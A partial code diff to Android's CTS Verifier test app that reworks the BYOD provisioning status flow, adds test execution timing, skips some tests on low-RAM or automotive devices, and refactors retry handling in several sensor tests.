@@ -192,7 +246,7 @@
     private void handleStatusUpdate(int resultCode, Intent data) {
         boolean provisioned = data != null &&
                 data.getBooleanExtra(ByodHelperActivity.EXTRA_PROVISIONED, false);
-        setTestResult(mProfileOwnerInstalled, (provisioned && resultCode == RESULT_OK) ?
+        setProfileOwnerTestResult((provisioned && resultCode == RESULT_OK) ?
                 TestResult.TEST_RESULT_PASSED : TestResult.TEST_RESULT_FAILED);
     }
 
@@ -693,18 +747,28 @@
 
     private void queryProfileOwner(boolean showToast) {
         try {
+            // Set execution start time for counting test execution time.
+            mStartTime = System.currentTimeMillis();
             Intent intent = new Intent(ByodHelperActivity.ACTION_QUERY_PROFILE_OWNER);
             startActivityForResult(intent, REQUEST_PROFILE_OWNER_STATUS);
         }
         catch (ActivityNotFoundException e) {
             Log.d(TAG, "queryProfileOwner: ActivityNotFoundException", e);
-            setTestResult(mProfileOwnerInstalled, TestResult.TEST_RESULT_FAILED);
+            setProfileOwnerTestResult(TestResult.TEST_RESULT_FAILED);
             if (showToast) {
                 Utils.showToast(this, R.string.provisioning_byod_no_activity);
             }
         }
     }
 
+    private void setProfileOwnerTestResult(int result) {
+        setTestResult(mProfileOwnerInstalled, result);
+        if (result == TestResult.TEST_RESULT_FAILED) {
+            clearProvisioningCompleteBroadcastStatus(this);
+            startPeriodicProvisioningCheckIfNecessary();
+        }
+    }
+
     private void checkDiskEncryption() {
         try {
             Intent intent = new Intent(ByodHelperActivity.ACTION_CHECK_DISK_ENCRYPTION);
@@ -798,4 +862,42 @@
             new ComponentName(ByodFlowTestActivity.this, HandleIntentActivity.class.getName()),
             enableState, PackageManager.DONT_KILL_APP);
     }
+
+    private static void markProvisioningCompleteBroadcastReceived(Context context) {
+        markProvisioningCompleteBroadcastWithStatus(context,
+                PREFERENCE_PROVISIONING_COMPLETE_STATUS_RECEIVED);
+    }
+
+    private static void markProvisioningCompleteBroadcastProcessed(Context context) {
+        markProvisioningCompleteBroadcastWithStatus(context,
+                PREFERENCE_PROVISIONING_COMPLETE_STATUS_PROCESSED);
+    }
+
+    private static void clearProvisioningCompleteBroadcastStatus(Context context) {
+        markProvisioningCompleteBroadcastWithStatus(context,
+                PREFERENCE_PROVISIONING_COMPLETE_STATUS_NOT_RECEIVED);
+    }
+
+    private static void markProvisioningCompleteBroadcastWithStatus(Context context, int status) {
+        final SharedPreferences prefs = getProvisioningPreferences(context);
+        final SharedPreferences.Editor editor = prefs.edit();
+        editor.putInt(PREFERENCE_PROVISIONING_COMPLETE_STATUS, status);
+        editor.commit();
+    }
+
+    private static boolean isProvisioningCompleteBroadcastReceived(Context context) {
+        return getProvisioningPreferences(context)
+                .getInt(PREFERENCE_PROVISIONING_COMPLETE_STATUS, 0) ==
+                PREFERENCE_PROVISIONING_COMPLETE_STATUS_RECEIVED;
+    }
+
+    private static boolean isProvisioningCompleteBroadcastProcessed(Context context) {
+        return getProvisioningPreferences(context)
+                .getInt(PREFERENCE_PROVISIONING_COMPLETE_STATUS, 0) ==
+                PREFERENCE_PROVISIONING_COMPLETE_STATUS_PROCESSED;
+    }
+
+    private static SharedPreferences getProvisioningPreferences(Context context) {
+        return context.getSharedPreferences(PROVISIONING_PREFERENCES, MODE_PRIVATE);
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
index e59e6d6..66ff174 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
@@ -64,8 +64,6 @@
     public static final String ACTION_PROFILE_OWNER_STATUS = "com.android.cts.verifier.managedprovisioning.BYOD_STATUS";
     // Primary -> managed intent: request to delete the current profile
     public static final String ACTION_REMOVE_MANAGED_PROFILE = "com.android.cts.verifier.managedprovisioning.BYOD_REMOVE";
-    // Managed -> managed intent: provisioning completed successfully
-    public static final String ACTION_PROFILE_PROVISIONED = "com.android.cts.verifier.managedprovisioning.BYOD_PROVISIONED";
     // Primary -> managed intent: request to capture and check an image
     public static final String ACTION_CAPTURE_AND_CHECK_IMAGE = "com.android.cts.verifier.managedprovisioning.BYOD_CAPTURE_AND_CHECK_IMAGE";
     // Primary -> managed intent: request to capture and check a video with custom output path
@@ -226,14 +224,8 @@
                 NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
                 NotificationManager.IMPORTANCE_DEFAULT));
 
-        // we are explicitly started by {@link DeviceAdminTestReceiver} after a successful provisioning.
-        if (action.equals(ACTION_PROFILE_PROVISIONED)) {
-            // Jump back to CTS verifier with result.
-            Intent response = new Intent(ACTION_PROFILE_OWNER_STATUS);
-            response.putExtra(EXTRA_PROVISIONED, isProfileOwner());
-            new ByodFlowTestHelper(this).startActivityInPrimary(response);
-            // Queried by CtsVerifier in the primary side using startActivityForResult.
-        } else if (action.equals(ACTION_QUERY_PROFILE_OWNER)) {
+        // Queried by CtsVerifier in the primary side using startActivityForResult.
+        if (action.equals(ACTION_QUERY_PROFILE_OWNER)) {
             Intent response = new Intent();
             response.putExtra(EXTRA_PROVISIONED, isProfileOwner());
             setResult(RESULT_OK, response);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
index 9cff9d2..11351ec 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
@@ -195,15 +195,16 @@
         dpm.addCrossProfileIntentFilter(getWho(context), filter,
                 DevicePolicyManager.FLAG_PARENT_CAN_ACCESS_MANAGED);
 
-        Intent intent = new Intent(context, ByodHelperActivity.class);
-        intent.setAction(ByodHelperActivity.ACTION_PROFILE_PROVISIONED);
-        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        context.startActivity(intent);
         // Disable the work profile instance of this activity, because it is a helper activity for
         // the work -> primary direction.
         context.getPackageManager().setComponentEnabledSetting(
                 new ComponentName(context, ByodPrimaryHelperActivity.class.getName()),
                 PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
+
+        // Disable the work profile instance of ByodFlowTestActivity
+        context.getPackageManager().setComponentEnabledSetting(
+                new ComponentName(context, ByodFlowTestActivity.class),
+                PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
     }
 
     private void wipeIfNecessary(Context context, Intent intent) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 93bb6a5..d3f4889 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -495,6 +495,8 @@
     }
 
     private Intent createCreateManagedUserIntent() {
+        // Set execution start time for counting test execution time.
+        mStartTime = System.currentTimeMillis();
         return new Intent(this, CommandReceiverActivity.class)
                 .putExtra(CommandReceiverActivity.EXTRA_COMMAND,
                         CommandReceiverActivity.COMMAND_CREATE_MANAGED_USER);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
index d20e047..d5fbb01 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
@@ -74,7 +74,7 @@
             Settings.ACTION_DISPLAY_SETTINGS,
             Settings.ACTION_SETTINGS,
             Settings.ACTION_ACCESSIBILITY_SETTINGS,
-            Settings.ACTION_INPUT_METHOD_SETTINGS
+            Settings.ACTION_SETTINGS
         };
         final int[] policyLabels = new int[] {
             R.string.set_auto_time_required,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/RecentsRedactionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/RecentsRedactionActivity.java
index cce6df0..189248d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/RecentsRedactionActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/RecentsRedactionActivity.java
@@ -68,7 +68,7 @@
                 throw new IllegalArgumentException("Unknown id: " + target.getId());
         }
         Intent resultIntent = TestResult.createResult(RecentsRedactionActivity.this, resultCode,
-                getTestId(), getTestDetails(), getReportLog());
+                getTestId(), getTestDetails(), getReportLog(), getHistoryCollection());
 
         new ByodFlowTestHelper(this).sendResultToPrimary(resultIntent);
         finish();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/TurnOffWorkActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/TurnOffWorkActivity.java
index c0a1626..ef2d798 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/TurnOffWorkActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/TurnOffWorkActivity.java
@@ -65,10 +65,15 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
+        // Set execution start time when start this activity for counting test execution time.
+        mStartTime = System.currentTimeMillis();
         mPrepareTestButton.setText(R.string.provisioning_byod_turn_off_work_prepare_button);
         mPrepareTestButton.setOnClickListener(new OnClickListener() {
             @Override
             public void onClick(View v) {
+                // Set execution start time when users start to turn/off work profile for counting
+                // test execution time.
+                mStartTime = System.currentTimeMillis();
                 try {
                     startActivity(new Intent(Settings.ACTION_SYNC_SETTINGS));
                 } catch (ActivityNotFoundException e) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/net/MultiNetworkConnectivityTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/net/MultiNetworkConnectivityTestActivity.java
index 54c9305..b8ab5c4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/net/MultiNetworkConnectivityTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/net/MultiNetworkConnectivityTestActivity.java
@@ -29,6 +29,7 @@
 import static com.android.cts.verifier.net.MultiNetworkConnectivityTestActivity.ValidatorState
         .WAITING_FOR_USER_INPUT;
 
+import android.app.ActivityManager;
 import android.app.AlertDialog;
 import android.content.BroadcastReceiver;
 import android.content.Context;
@@ -64,6 +65,8 @@
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
+import java.util.ArrayList;
+import java.util.Collections;
 import java.util.List;
 
 /**
@@ -136,8 +139,8 @@
 
                 @Override
                 public void testCompleted(MultiNetworkValidator validator) {
-                    if (validator == mMultiNetworkValidators[mMultiNetworkValidators.length
-                            - 1]) {
+                    if (validator == mMultiNetworkValidators.get(mMultiNetworkValidators.size()
+                            - 1)) {
                         // Done all tests.
                         boolean passed = true;
                         for (MultiNetworkValidator multiNetworkValidator :
@@ -148,9 +151,9 @@
                     } else if (!validator.mTestResult) {
                         setTestResultAndFinish(false);
                     } else {
-                        for (int i = 0; i < mMultiNetworkValidators.length; i++) {
-                            if (mMultiNetworkValidators[i] == validator) {
-                                mCurrentValidator = mMultiNetworkValidators[i + 1];
+                        for (int i = 0; i < mMultiNetworkValidators.size(); i++) {
+                            if (mMultiNetworkValidators.get(i) == validator) {
+                                mCurrentValidator = mMultiNetworkValidators.get(i + 1);
                                 mTestNameView.setText(mCurrentValidator.mTestDescription);
                                 mCurrentValidator.startTest();
                                 break;
@@ -159,14 +162,7 @@
                     }
                 }
             };
-    private final MultiNetworkValidator[] mMultiNetworkValidators = {
-            new ConnectToWifiWithNoInternetValidator(
-                    R.string.multinetwork_connectivity_test_1_desc),
-            new LegacyConnectToWifiWithNoInternetValidator(
-                    R.string.multinetwork_connectivity_test_2_desc),
-            new LegacyConnectToWifiWithIntermittentInternetValidator(
-                    R.string.multinetwork_connectivity_test_3_desc)
-    };
+    private List<MultiNetworkValidator> mMultiNetworkValidators = Collections.emptyList();
     private final Runnable mTimeToCompletionRunnable = new Runnable() {
         @Override
         public void run() {
@@ -200,6 +196,8 @@
         super.onCreate(savedInstanceState);
         mConnectivityManager = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
         mWifiManager = (WifiManager) getSystemService(Context.WIFI_SERVICE);
+        mMultiNetworkValidators = createMultiNetworkValidators();
+
         recordCurrentWifiState();
         setupUserInterface();
         setupBroadcastReceivers();
@@ -228,6 +226,26 @@
         }
     }
 
+    private List<MultiNetworkValidator> createMultiNetworkValidators() {
+        MultiNetworkValidator[] allValidators = {
+            new ConnectToWifiWithNoInternetValidator(
+                    R.string.multinetwork_connectivity_test_1_desc),
+            new LegacyConnectToWifiWithNoInternetValidator(
+                    R.string.multinetwork_connectivity_test_2_desc),
+            new LegacyConnectToWifiWithIntermittentInternetValidator(
+                    R.string.multinetwork_connectivity_test_3_desc)
+        };
+
+        List<MultiNetworkValidator> result = new ArrayList<>();
+        boolean isLowRamDevice = isLowRamDevice();
+        for (MultiNetworkValidator validator : allValidators) {
+          if (!isLowRamDevice || validator.shouldRunOnLowRamDevice()) {
+            result.add(validator);
+          }
+        }
+        return result;
+    }
+
     private void restoreOriginalWifiState() {
         if (mRecordedWifiConfiguration >= 0) {
             mWifiManager.enableNetwork(mRecordedWifiConfiguration, true);
@@ -235,6 +253,11 @@
     }
 
     private boolean requestSystemAlertWindowPerimissionIfRequired() {
+        if (isLowRamDevice()) {
+          // For low ram devices, we won't run tests that depend on this permission.
+          return true;
+        }
+
         boolean hadPermission = false;
         if (!Settings.canDrawOverlays(this)) {
             AlertDialog alertDialog = new AlertDialog.Builder(this)
@@ -360,11 +383,11 @@
             return;
         }
 
-        for (int i = 0; i < mMultiNetworkValidators.length; i++) {
-            if (mMultiNetworkValidators[i].mValidatorState != COMPLETED) {
-                mCurrentValidator = mMultiNetworkValidators[i];
-                break;
-            }
+        for (MultiNetworkValidator multiNetworkValidator : mMultiNetworkValidators) {
+          if (multiNetworkValidator.mValidatorState != COMPLETED) {
+            mCurrentValidator = multiNetworkValidator;
+            break;
+          }
         }
         if (mCurrentValidator != null) {
             mTestNameView.setText(mCurrentValidator.mTestDescription);
@@ -393,7 +416,7 @@
             mStartButton.setText(R.string.multinetwork_connectivity_test_rerun);
             mStartButton.setEnabled(true);
             rerunMultinetworkTests();
-            mCurrentValidator = mMultiNetworkValidators[0];
+            mCurrentValidator = mMultiNetworkValidators.get(0);
         }
     }
 
@@ -479,6 +502,12 @@
         mStartButton.setText("--");
     }
 
+    private boolean isLowRamDevice() {
+        ActivityManager activityManager =
+            (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+        return activityManager.isLowRamDevice();
+    }
+
     /**
      * Manage the connectivity state for each MultinetworkValidation.
      */
@@ -613,6 +642,7 @@
         final String mTestName;
         final MultinetworkTestCallback mTestCallback;
         final TestConnectivityState mConnectivityState;
+        final boolean mRunTestOnLowMemoryDevices;
 
         int mTestDescription;
         boolean mTestResult = false;
@@ -621,12 +651,15 @@
         int mTestProgressMessage;
 
         MultiNetworkValidator(MultinetworkTestCallback testCallback,
-                String testName, int testDescription) {
+                String testName,
+                int testDescription,
+                boolean runTestOnLowMemoryDevices) {
             mTestCallback = testCallback;
             mTestName = testName;
             mTestDescription = testDescription;
             mConnectivityState = new TestConnectivityState(this);
             mValidatorState = NOT_STARTED;
+            mRunTestOnLowMemoryDevices = runTestOnLowMemoryDevices;
         }
 
         /** Start test if not started. */
@@ -717,6 +750,10 @@
         void onWifiNetworkUnavailable() {
             endTest(false, R.string.multinetwork_status_wifi_connect_timed_out);
         }
+
+        boolean shouldRunOnLowRamDevice() {
+          return mRunTestOnLowMemoryDevices;
+        }
     }
 
     /**
@@ -726,7 +763,10 @@
     private class LegacyConnectToWifiWithNoInternetValidator extends MultiNetworkValidator {
 
         LegacyConnectToWifiWithNoInternetValidator(int description) {
-            super(mMultinetworkTestCallback, "legacy_no_internet_test", description);
+            super(mMultinetworkTestCallback,
+                "legacy_no_internet_test",
+                description,
+                /* runTestOnLowMemoryDevices = */ false);
         }
 
 
@@ -788,7 +828,10 @@
         Network mWifiNetwork;
 
         LegacyConnectToWifiWithIntermittentInternetValidator(int description) {
-            super(mMultinetworkTestCallback, "legcay_no_internet_test", description);
+            super(mMultinetworkTestCallback,
+                "legacy_no_internet_test",
+                description,
+                /* runTestOnLowMemoryDevices = */ false);
         }
 
         @Override
@@ -900,7 +943,10 @@
     private class ConnectToWifiWithNoInternetValidator extends MultiNetworkValidator {
 
         ConnectToWifiWithNoInternetValidator(int description) {
-            super(mMultinetworkTestCallback, "no_internet_test", description);
+            super(mMultinetworkTestCallback,
+                "no_internet_test",
+                description,
+                /* runTestOnLowMemoryDevices = */ true);
         }
 
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
index fd1c457..3dc41e6 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
@@ -20,6 +20,7 @@
 import static android.view.View.VISIBLE;
 
 import android.annotation.NonNull;
+import android.app.ActivityManager;
 import android.app.Notification;
 import android.app.NotificationChannel;
 import android.app.NotificationManager;
@@ -33,6 +34,7 @@
 import android.view.ViewGroup;
 import android.widget.Button;
 import android.widget.TextView;
+import android.widget.Toast;
 
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
@@ -101,16 +103,23 @@
             runNextTestOrShowSummary();
         });
 
-        mTests.add(new EnableBubbleTest());
-        mTests.add(new SendBubbleTest());
-        mTests.add(new SuppressNotifTest());
-        mTests.add(new AddNotifTest());
-        mTests.add(new RemoveMetadataTest());
-        mTests.add(new AddMetadataTest());
-        mTests.add(new ExpandBubbleTest());
-        mTests.add(new DismissBubbleTest());
-        mTests.add(new DismissNotificationTest());
-        mTests.add(new AutoExpandBubbleTest());
+        ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+        if (!am.isLowRamDevice()) {
+            mTests.add(new EnableBubbleTest());
+            mTests.add(new SendBubbleTest());
+            mTests.add(new SuppressNotifTest());
+            mTests.add(new AddNotifTest());
+            mTests.add(new RemoveMetadataTest());
+            mTests.add(new AddMetadataTest());
+            mTests.add(new ExpandBubbleTest());
+            mTests.add(new DismissBubbleTest());
+            mTests.add(new DismissNotificationTest());
+            mTests.add(new AutoExpandBubbleTest());
+        } else {
+            Toast.makeText(getApplicationContext(),
+                    getResources().getString(R.string.bubbles_notification_no_bubbles_low_mem),
+                    Toast.LENGTH_LONG).show();
+        }
 
         setPassFailButtonClickListeners();
 
@@ -453,7 +462,6 @@
         }
     }
 
-
     /** Creates a minimally filled out {@link android.app.Notification.BubbleMetadata.Builder} */
     private Notification.BubbleMetadata.Builder getBasicBubbleBuilder() {
         Context context = getApplicationContext();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 2a37b5e..7297dbe 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -42,6 +42,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.SharedPreferences;
+import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.provider.Settings;
 import android.provider.Settings.Secure;
@@ -128,8 +129,10 @@
             tests.add(new EnableHintsTest());
             tests.add(new ReceiveAppBlockNoticeTest());
             tests.add(new ReceiveAppUnblockNoticeTest());
-            tests.add(new ReceiveChannelBlockNoticeTest());
-            tests.add(new ReceiveGroupBlockNoticeTest());
+            if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+                tests.add(new ReceiveChannelBlockNoticeTest());
+                tests.add(new ReceiveGroupBlockNoticeTest());
+            }
             tests.add(new RequestUnbindTest());
             tests.add(new RequestBindTest());
             tests.add(new MessageBundleTest());
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java
index 34c18de..6e54ef6 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java
@@ -32,8 +32,7 @@
  */
 public class AccelerometerMeasurementTestActivity extends SensorCtsVerifierTestActivity {
     public AccelerometerMeasurementTestActivity() {
-        super(AccelerometerMeasurementTestActivity.class);
-        mEnableRetry = true;
+        super(AccelerometerMeasurementTestActivity.class, true);
     }
 
     public String testFaceUp() throws Throwable {
@@ -109,12 +108,9 @@
 
     private String delayedVerifyMeasurements(int descriptionResId, float ... expectations)
             throws Throwable {
-        SensorTestLogger logger = getTestLogger();
-        if (!mShouldRetry) {
-            logger.logInstructions(descriptionResId);
-            logger.logWaitForSound();
-            waitForUserToBegin();
-        }
+
+        setFirstExecutionInstruction(descriptionResId);
+        getTestLogger().logWaitForSound();
         Thread.sleep(TimeUnit.MILLISECONDS.convert(7, TimeUnit.SECONDS));
 
         try {
@@ -126,12 +122,8 @@
 
     private String verifyMeasurements(int descriptionResId, float ... expectations)
             throws Throwable {
-        SensorTestLogger logger = getTestLogger();
-        if (!mShouldRetry) {
-            logger.logInstructions(descriptionResId);
-            logger.logInstructions(R.string.snsr_device_steady);
-            waitForUserToBegin();
-        }
+
+        setFirstExecutionInstruction(descriptionResId, R.string.snsr_device_steady);
 
         return verifyMeasurements(expectations);
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java
index eaa4924..9689193 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java
@@ -36,8 +36,7 @@
  */
 public class BatchingTestActivity extends SensorCtsVerifierTestActivity {
     public BatchingTestActivity() {
-        super(BatchingTestActivity.class);
-        mEnableRetry = true;
+        super(BatchingTestActivity.class, true);
     }
 
     private static final int SENSOR_BATCHING_RATE_US = SensorManager.SENSOR_DELAY_FASTEST;
@@ -122,10 +121,8 @@
 
     private String runBatchTest(int sensorType, int maxBatchReportLatencySec, int instructionsResId)
             throws Throwable {
-        if (!mShouldRetry) {
-            getTestLogger().logInstructions(instructionsResId);
-            waitForUserToBegin();
-        }
+
+        setFirstExecutionInstruction(instructionsResId);
 
         int maxBatchReportLatencyUs = (int) TimeUnit.SECONDS.toMicros(maxBatchReportLatencySec);
         TestSensorEnvironment environment = new TestSensorEnvironment(
@@ -142,10 +139,8 @@
 
     private String runFlushTest(int sensorType, int maxBatchReportLatencySec, int instructionsResId)
             throws Throwable {
-        if (!mShouldRetry) {
-            getTestLogger().logInstructions(instructionsResId);
-            waitForUserToBegin();
-        }
+
+        setFirstExecutionInstruction(instructionsResId);
 
         int maxBatchReportLatencyUs = (int) TimeUnit.SECONDS.toMicros(maxBatchReportLatencySec);
         TestSensorEnvironment environment = new TestSensorEnvironment(
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/GyroscopeMeasurementTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/GyroscopeMeasurementTestActivity.java
index 368eb66..39cdfb0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/GyroscopeMeasurementTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/GyroscopeMeasurementTestActivity.java
@@ -47,8 +47,7 @@
     private final GLRotationGuideRenderer mRenderer = new GLRotationGuideRenderer();
 
     public GyroscopeMeasurementTestActivity() {
-        super(GyroscopeMeasurementTestActivity.class);
-        mEnableRetry = true;
+        super(GyroscopeMeasurementTestActivity.class, true);
     }
 
     @Override
@@ -110,12 +109,9 @@
     public String testCalibratedAndUncalibrated() throws Throwable {
         setRendererRotation(Z_AXIS, false);
 
-        SensorTestLogger logger = getTestLogger();
-        if (!mShouldRetry) {
-            logger.logInstructions(R.string.snsr_keep_device_rotating_clockwise);
-            waitForUserToBegin();
-        }
-        logger.logWaitForSound();
+        setFirstExecutionInstruction(R.string.snsr_keep_device_rotating_clockwise);
+
+        getTestLogger().logWaitForSound();
 
         TestSensorEnvironment calibratedEnvironment = new TestSensorEnvironment(
                 getApplicationContext(),
@@ -150,12 +146,9 @@
             throws Throwable {
         setRendererRotation(rotationAxis, expectationDeg >= 0);
 
-        SensorTestLogger logger = getTestLogger();
-        if (!mShouldRetry) {
-            logger.logInstructions(instructionsResId);
-            waitForUserToBegin();
-        }
-        logger.logWaitForSound();
+        setFirstExecutionInstruction(instructionsResId);
+
+        getTestLogger().logWaitForSound();
 
         TestSensorEnvironment environment = new TestSensorEnvironment(
                 getApplicationContext(),
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
index e747784..e7e55f2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
@@ -54,8 +54,7 @@
  */
 public class SignificantMotionTestActivity extends SensorCtsVerifierTestActivity {
     public SignificantMotionTestActivity() {
-        super(SignificantMotionTestActivity.class);
-        mEnableRetry = true;
+        super(SignificantMotionTestActivity.class, true);
     }
 
     // acceptable time difference between event time and system time
@@ -141,15 +140,12 @@
 
     @SuppressWarnings("unused")
     public String testTriggerDeactivation() throws Throwable {
-        SensorTestLogger logger = getTestLogger();
-        if (!mShouldRetry) {
-            logger.logInstructions(R.string.snsr_significant_motion_test_deactivation);
-            waitForUserToBegin();
-        }
+
+        setFirstExecutionInstruction(R.string.snsr_significant_motion_test_deactivation);
 
         TriggerVerifier verifier = new TriggerVerifier();
         mSensorManager.requestTriggerSensor(verifier, mSensorSignificantMotion);
-        logger.logWaitForSound();
+        getTestLogger().logWaitForSound();
 
         String result;
         try {
@@ -192,11 +188,9 @@
 
     @SuppressWarnings("unused")
     public String testAPWakeUpOnSMDTrigger() throws Throwable {
-        SensorTestLogger logger = getTestLogger();
-        if (!mShouldRetry) {
-            logger.logInstructions(R.string.snsr_significant_motion_ap_suspend);
-            waitForUserToBegin();
-        }
+
+        setFirstExecutionInstruction(R.string.snsr_significant_motion_ap_suspend);
+
         mVerifier = new TriggerVerifier();
         mSensorManager.requestTriggerSensor(mVerifier, mSensorSignificantMotion);
         long testStartTimeNs = SystemClock.elapsedRealtimeNanos();
@@ -247,11 +241,8 @@
             boolean isMotionExpected,
             boolean cancelEventNotification,
             boolean vibrate) throws Throwable {
-        SensorTestLogger logger = getTestLogger();
-        if (!mShouldRetry) {
-            logger.logInstructions(instructionsResId);
-            waitForUserToBegin();
-        }
+
+        setFirstExecutionInstruction(instructionsResId);
 
         if (vibrate) {
             vibrate(VIBRATE_DURATION_MILLIS);
@@ -267,7 +258,7 @@
                     getString(R.string.snsr_significant_motion_cancelation),
                     mSensorManager.cancelTriggerSensor(verifier, mSensorSignificantMotion));
         }
-        logger.logWaitForSound();
+        getTestLogger().logWaitForSound();
 
         String result;
         try {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/StepSensorPermissionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/StepSensorPermissionTestActivity.java
index 2c194c1..cedab27 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/StepSensorPermissionTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/StepSensorPermissionTestActivity.java
@@ -42,8 +42,8 @@
  */
 public class StepSensorPermissionTestActivity extends SensorCtsVerifierTestActivity
         implements SensorEventListener {
-    private static final int STEP_DETECT_DELAY_SECONDS = 2;
-    private static final int STEP_COUNT_DELAY_SECONDS = 10;
+    private static final int STEP_DETECT_DELAY_SECONDS = 30;
+    private static final int STEP_COUNT_DELAY_SECONDS = 30;
     // Additional amount of time to give for receiving either a step detect or
     // count event in case the user hasn't started walking at the time the test
     // starts.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java
index 84c3ef7..c4ad958 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/BaseSensorTestActivity.java
@@ -97,13 +97,9 @@
     private GLSurfaceView mGLSurfaceView;
     private boolean mUsingGlSurfaceView;
 
-    // Flag for sensor tests with retry.
-    protected boolean mEnableRetry = false;
     // Flag for Retry button appearance.
-    protected boolean mShouldRetry = false;
-    // Flag for the last sub-test to show Finish button.
-    protected boolean mIsLastSubtest = false;
